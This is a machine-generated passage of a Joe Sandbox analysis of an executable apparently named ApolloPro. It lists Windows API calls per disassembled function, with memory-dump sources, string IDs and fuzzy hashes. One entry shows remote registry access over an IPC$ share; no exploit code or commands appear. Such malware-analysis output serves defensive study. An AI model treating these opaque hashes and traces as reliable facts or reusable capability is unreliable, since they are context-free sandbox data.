                                                                    • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0083982C,?,?,00000000,?), ref: 0083C130
                                                                    • OleLoadPicture.OLEAUT32(?,00000000,00000000,00843C7C,?), ref: 0083C149
                                                                    • GlobalFree.KERNEL32(00000000), ref: 0083C159
                                                                    • GetObjectW.GDI32(00000000,00000018,?), ref: 0083C17D
                                                                    • CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0083C1A8
                                                                    • DeleteObject.GDI32(00000000), ref: 0083C1D0
                                                                    • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0083C1E6
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                    • String ID:
                                                                    • API String ID: 3840717409-0
                                                                    • Opcode ID: 704193d662a779a8ae77120e44ca55285561feebd16c02ca4634cee3faf33b3d
                                                                    • Instruction ID: 2a3cda8b8c95520f34cc9019f8191c95d76fdbacb43a92d30f1354ad21a5ab9e
                                                                    • Opcode Fuzzy Hash: 704193d662a779a8ae77120e44ca55285561feebd16c02ca4634cee3faf33b3d
                                                                    • Instruction Fuzzy Hash: E341FA75540208AFDB219F65DC48EAF7BB9FB8A711F104059FA09E7260D7709941DFA0
                                                                    Function 0081DEDC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __wsplitpath.LIBCMT ref: 0081E053
                                                                    • _wcscat.LIBCMT ref: 0081E06B
                                                                    • _wcscat.LIBCMT ref: 0081E07D
                                                                    • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0081E092
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0081E0A6
                                                                    • GetFileAttributesW.KERNEL32(?), ref: 0081E0BE
                                                                    • SetFileAttributesW.KERNEL32(?,00000000), ref: 0081E0D8
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0081E0EA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                                                    • String ID: *.*
                                                                    • API String ID: 34673085-438819550
                                                                    • Opcode ID: e1a4610f995f317227063199f498908041c42ca415df04571a61b311f121c208
                                                                    • Instruction ID: 6508376c7169340dc66fd9a0d46b42c927a666d5e8516eb0155170c1470f0b10
                                                                    • Opcode Fuzzy Hash: e1a4610f995f317227063199f498908041c42ca415df04571a61b311f121c208
                                                                    • Instruction Fuzzy Hash: 6E8162715043459FC724DF64C844AEAB7E8FF99314F14882EF886C7251EB34DA86CB52
                                                                    Function 0083C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0083C8A4
                                                                    • GetFocus.USER32 ref: 0083C8B4
                                                                    • GetDlgCtrlID.USER32(00000000), ref: 0083C8BF
                                                                    • _memset.LIBCMT ref: 0083C9EA
                                                                    • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0083CA15
                                                                    • GetMenuItemCount.USER32(?), ref: 0083CA35
                                                                    • GetMenuItemID.USER32(?,00000000), ref: 0083CA48
                                                                    • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0083CA7C
                                                                    • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0083CAC4
                                                                    • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0083CAFC
                                                                    • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0083CB31
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                                    • String ID: 0
                                                                    • API String ID: 1296962147-4108050209
                                                                    • Opcode ID: e540fd4a6c01fb40b44b92b702977c8814cf42885e124118ef35769e9f17ba96
                                                                    • Instruction ID: 712b1b66f7b2cf0e510bf942ad9eb9c5683dbc5c82a6ac0e97d2475d95409926
                                                                    • Opcode Fuzzy Hash: e540fd4a6c01fb40b44b92b702977c8814cf42885e124118ef35769e9f17ba96
                                                                    • Instruction Fuzzy Hash: BD814875608315AFDB10DF14C885A6BBBE8FBC9354F00492DFA99E7291D730D905CBA2
                                                                    Function 00808ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00808E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00808E3C
                                                                      • Part of subcall function 00808E20: GetLastError.KERNEL32(?,00808900,?,?,?), ref: 00808E46
                                                                      • Part of subcall function 00808E20: GetProcessHeap.KERNEL32(00000008,?,?,00808900,?,?,?), ref: 00808E55
                                                                      • Part of subcall function 00808E20: HeapAlloc.KERNEL32(00000000,?,00808900,?,?,?), ref: 00808E5C
                                                                      • Part of subcall function 00808E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00808E73
                                                                      • Part of subcall function 00808EBD: GetProcessHeap.KERNEL32(00000008,00808916,00000000,00000000,?,00808916,?), ref: 00808EC9
                                                                      • Part of subcall function 00808EBD: HeapAlloc.KERNEL32(00000000,?,00808916,?), ref: 00808ED0
                                                                      • Part of subcall function 00808EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00808916,?), ref: 00808EE1
                                                                    • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00808B2E
                                                                    • _memset.LIBCMT ref: 00808B43
                                                                    • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00808B62
                                                                    • GetLengthSid.ADVAPI32(?), ref: 00808B73
                                                                    • GetAce.ADVAPI32(?,00000000,?), ref: 00808BB0
                                                                    • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00808BCC
                                                                    • GetLengthSid.ADVAPI32(?), ref: 00808BE9
                                                                    • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00808BF8
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00808BFF
                                                                    • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00808C20
                                                                    • CopySid.ADVAPI32(00000000), ref: 00808C27
                                                                    • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00808C58
                                                                    • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00808C7E
                                                                    • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00808C92
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                    • String ID:
                                                                    • API String ID: 3996160137-0
                                                                    • Opcode ID: 89b8acfe7daec6ef853519cdf2c13bd9d75c3aa755f4cbea607542ab9fc6f75e
                                                                    • Instruction ID: 8db3c6748d483114d0bbcbcf4aa21af4fe29242b4f4e6bca0b9d41b69bdd32a4
                                                                    • Opcode Fuzzy Hash: 89b8acfe7daec6ef853519cdf2c13bd9d75c3aa755f4cbea607542ab9fc6f75e
                                                                    • Instruction Fuzzy Hash: 78615675901209EFDF50DFA4DC48EAEBB79FF15300F04826AEA95E7290DB309A40CB60
                                                                    Function 00827A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDC.USER32(00000000), ref: 00827A79
                                                                    • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00827A85
                                                                    • CreateCompatibleDC.GDI32(?), ref: 00827A91
                                                                    • SelectObject.GDI32(00000000,?), ref: 00827A9E
                                                                    • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00827AF2
                                                                    • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00827B2E
                                                                    • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00827B52
                                                                    • SelectObject.GDI32(00000006,?), ref: 00827B5A
                                                                    • DeleteObject.GDI32(?), ref: 00827B63
                                                                    • DeleteDC.GDI32(00000006), ref: 00827B6A
                                                                    • ReleaseDC.USER32(00000000,?), ref: 00827B75
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                    • String ID: (
                                                                    • API String ID: 2598888154-3887548279
                                                                    • Opcode ID: 2c466c98e4b29d37526d4b37a667c6e2ac568406d60f0a17a75ed93bc062b1e3
                                                                    • Instruction ID: 163b83b32bb3325662d18b40cc8091464e3d3cde0ff326e209e4c447ec11da50
                                                                    • Opcode Fuzzy Hash: 2c466c98e4b29d37526d4b37a667c6e2ac568406d60f0a17a75ed93bc062b1e3
                                                                    • Instruction Fuzzy Hash: B2513775904219EFCB14CFA9DC85EAFBBB9FF49310F14841DEA4AA7250D631A940CBA0
                                                                    Function 0081A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0081A4D4
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    • LoadStringW.USER32(?,?,00000FFF,?), ref: 0081A4F6
                                                                    • __swprintf.LIBCMT ref: 0081A54F
                                                                    • __swprintf.LIBCMT ref: 0081A568
                                                                    • _wprintf.LIBCMT ref: 0081A61E
                                                                    • _wprintf.LIBCMT ref: 0081A63C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LoadString__swprintf_wprintf$_memmove
                                                                    • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                    • API String ID: 311963372-2391861430
                                                                    • Opcode ID: a33e70ed26bf85019701baa49d7272a1734d954ab78e34eab198990a2df754c1
                                                                    • Instruction ID: 052b797480c30921fc5736795b6a3f77cbe0d4d702771de1cc7fddd8b3270c86
                                                                    • Opcode Fuzzy Hash: a33e70ed26bf85019701baa49d7272a1734d954ab78e34eab198990a2df754c1
                                                                    • Instruction Fuzzy Hash: 62519D71800109EACF19EBE0CD4AEEEB779FF15340F500129B515A21A2DB39AF88CB61
                                                                    Function 00819710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0081951A: __time64.LIBCMT ref: 00819524
                                                                      • Part of subcall function 007C4A8C: _fseek.LIBCMT ref: 007C4AA4
                                                                    • __wsplitpath.LIBCMT ref: 008197EF
                                                                      • Part of subcall function 007D431E: __wsplitpath_helper.LIBCMT ref: 007D435E
                                                                    • _wcscpy.LIBCMT ref: 00819802
                                                                    • _wcscat.LIBCMT ref: 00819815
                                                                    • __wsplitpath.LIBCMT ref: 0081983A
                                                                    • _wcscat.LIBCMT ref: 00819850
                                                                    • _wcscat.LIBCMT ref: 00819863
                                                                      • Part of subcall function 00819560: _memmove.LIBCMT ref: 00819599
                                                                      • Part of subcall function 00819560: _memmove.LIBCMT ref: 008195A8
                                                                    • _wcscmp.LIBCMT ref: 008197AA
                                                                      • Part of subcall function 00819CF1: _wcscmp.LIBCMT ref: 00819DE1
                                                                      • Part of subcall function 00819CF1: _wcscmp.LIBCMT ref: 00819DF4
                                                                    • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00819A0D
                                                                    • _wcsncpy.LIBCMT ref: 00819A80
                                                                    • DeleteFileW.KERNEL32(?,?), ref: 00819AB6
                                                                    • CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00819ACC
                                                                    • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00819ADD
                                                                    • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00819AEF
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                                                    • String ID:
                                                                    • API String ID: 1500180987-0
                                                                    • Opcode ID: 9ffccad2b8bfa8adb63efb0f261e6e39644aa9b432f773ab87ff7d5531e84ced
                                                                    • Instruction ID: 3be316fb779b0b3f357a8905b8540be04b0d47bef668f184a4b2ecb9e2d21ffa
                                                                    • Opcode Fuzzy Hash: 9ffccad2b8bfa8adb63efb0f261e6e39644aa9b432f773ab87ff7d5531e84ced
                                                                    • Instruction Fuzzy Hash: F6C14BB1D00228AACF11DF94CC95EDEBBBDFF45310F0040AAF649E6251EB749A848F65
                                                                    Function 007C5BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 007C5BF1
                                                                    • GetMenuItemCount.USER32(00877890), ref: 00800E7B
                                                                    • GetMenuItemCount.USER32(00877890), ref: 00800F2B
                                                                    • GetCursorPos.USER32(?), ref: 00800F6F
                                                                    • SetForegroundWindow.USER32(00000000), ref: 00800F78
                                                                    • TrackPopupMenuEx.USER32(00877890,00000000,?,00000000,00000000,00000000), ref: 00800F8B
                                                                    • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00800F97
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                    • String ID:
                                                                    • API String ID: 2751501086-0
                                                                    • Opcode ID: a9d0f88eba9c3e6e52c090a019b7343ac5256dd53989bb80c73c6030f817829c
                                                                    • Instruction ID: f804725346bafd4dbd691fbba865d7a466a06dcf762a93658c0b41e04564d9e6
                                                                    • Opcode Fuzzy Hash: a9d0f88eba9c3e6e52c090a019b7343ac5256dd53989bb80c73c6030f817829c
                                                                    • Instruction Fuzzy Hash: CD71E47064460ABFEB609B54DC89FAABF64FF05364F10421AF624B61D1C7B168A0DFA1
                                                                    Function 008083FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    • _memset.LIBCMT ref: 00808489
                                                                    • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 008084BE
                                                                    • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 008084DA
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 008084F6
                                                                    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00808520
                                                                    • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00808548
                                                                    • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00808553
                                                                    • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00808558
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
                                                                    • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                    • API String ID: 1411258926-22481851
                                                                    • Opcode ID: 931f6fada9189dfe26e24ab02346c954d88040edca563f0a60202c2bc67cc215
                                                                    • Instruction ID: 09f671b6fd5e7dafad0255c0a4250e4e4b10d3e373d25873721a11327b73c89c
                                                                    • Opcode Fuzzy Hash: 931f6fada9189dfe26e24ab02346c954d88040edca563f0a60202c2bc67cc215
                                                                    • Instruction Fuzzy Hash: 8C410776D1062DEBCB21EBA4DC95EEEB778FF09340F40412DE955A22A1EA349D44CF90
                                                                    Function 0083147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?,?,?,?,?,?,0083040D,?,?), ref: 00831491
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpper
                                                                    • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                    • API String ID: 3964851224-909552448
                                                                    • Opcode ID: 7a46f461bb3cb62f70524e9608fe353fd988a9be50a53a20f1ca32ab9ddce34e
                                                                    • Instruction ID: 96d81cd5d73e1531f2a4f628730b07711705eb8784840cd17ab09847bdc90ccc
                                                                    • Opcode Fuzzy Hash: 7a46f461bb3cb62f70524e9608fe353fd988a9be50a53a20f1ca32ab9ddce34e
                                                                    • Instruction Fuzzy Hash: 5B414F7061025ACBDF00EFA0D859AEA3735FFA2704F51442AFD9297252DB34ED19CBA1
                                                                    Function 00815882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                      • Part of subcall function 007C153B: _memmove.LIBCMT ref: 007C15C4
                                                                    • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 008158EB
                                                                    • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00815901
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00815912
                                                                    • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00815924
                                                                    • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00815935
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: SendString$_memmove
                                                                    • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                    • API String ID: 2279737902-1007645807
                                                                    • Opcode ID: c70a1cbd362607d6b1e5e98f4b921c1328218508c2e9e80e418be9bc4ac3cd5d
                                                                    • Instruction ID: ce5be1a197cb54129d8c431358f7e843051ec2e23e56dd7973e8203bf215a8f4
                                                                    • Opcode Fuzzy Hash: c70a1cbd362607d6b1e5e98f4b921c1328218508c2e9e80e418be9bc4ac3cd5d
                                                                    • Instruction Fuzzy Hash: 1C119331A40159F9D720A7B1DC4AEFF6BBCFFD2B50F80042D7411D22D1EA641984C5A1
                                                                    Function 00814C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                                                    • String ID: 0.0.0.0
                                                                    • API String ID: 208665112-3771769585
                                                                    • Opcode ID: 5eb888ab7822788e2c25791e57466ec1cd5ff9a95fbf8e7c1cbb187dfcac0538
                                                                    • Instruction ID: 7d6182d9457bc3d0a3ff5f2c2e791bbfc58bc4549b6079f06b15c378b3e3fef7
                                                                    • Opcode Fuzzy Hash: 5eb888ab7822788e2c25791e57466ec1cd5ff9a95fbf8e7c1cbb187dfcac0538
                                                                    • Instruction Fuzzy Hash: 7B112431904108FBCB20AB609D4AEEB7BBCFF41710F0001A6F505D6292EF7899C2CAA1
                                                                    Function 00815530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
